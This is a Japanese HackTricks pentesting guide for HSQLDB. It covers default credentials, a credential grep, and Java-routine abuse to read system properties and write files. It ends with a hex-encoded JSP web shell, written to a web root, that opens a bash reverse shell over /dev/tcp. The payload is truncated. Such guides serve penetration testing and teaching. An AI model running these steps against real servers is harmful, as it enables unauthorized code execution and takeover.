hacktricks/src/network-services-pentesting/9001-pentesting-hsqldb.md

70 lines
3.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 9001 - Pentesting HSQLDB
{{#include ../banners/hacktricks-training.md}}
## 基本情報
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。小型で高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、インメモリおよびディスクベースのテーブルを持ち、埋め込みモードとサーバーモードをサポートしています。
**デフォルトポート:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
## デフォルト設定
デフォルトでは、このサービスはメモリ内で実行されているか、localhostにバインドされている可能性があります。これを見つけた場合、別のサービスを悪用し、特権を昇格させようとしている可能性があります。
デフォルトの認証情報は通常、`sa`と空のパスワードです。
別のサービスを悪用した場合、可能な認証情報を検索してください。
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
データベース名を注意深くメモしてください - 接続するために必要です。
## 情報収集
[HSQLDBをダウンロード](https://sourceforge.net/projects/hsqldb/files/)して、`hsqldb/lib/hsqldb.jar`を抽出することでDBインスタンスに接続します。`java -jar hsqldb.jar`を使用してGUIアプリうわっを実行し、発見した/弱い資格情報を使用してインスタンスに接続します。
接続URLはリモートシステムの場合、次のようになります: `jdbc:hsqldb:hsql://ip/DBNAME`
## トリック
### Java言語ルーチン
HSQLDBからJava言語ルーチンを使用してJavaクラスの静的メソッドを呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパスに含まれている必要があることに注意してください。
JRTは`functions`または`procedures`です。関数は、Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、SQL文を介して呼び出すことができます。`VALUES`文を使用して呼び出されます。
呼び出したいJavaメソッドがvoidを返す場合、`CALL`文で呼び出されるプロシージャを使用する必要があります。
### Javaシステムプロパティの読み取り
関数を作成:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
関数を実行する:
```text
VALUES(getsystemproperty('user.name'))
```
システムプロパティの[リストはこちら](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)で見つけることができます。
### ファイルにコンテンツを書く
`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Javaガジェットを使用して、カスタム手順を介して16進エンコードされたアイテムをディスクに書き込むことができますJDKにあり、アプリケーションのクラスパスに自動的にロードされます。**最大サイズは1024バイトです**。
手順を作成します:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
手続きを実行します:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{{#include ../banners/hacktricks-training.md}}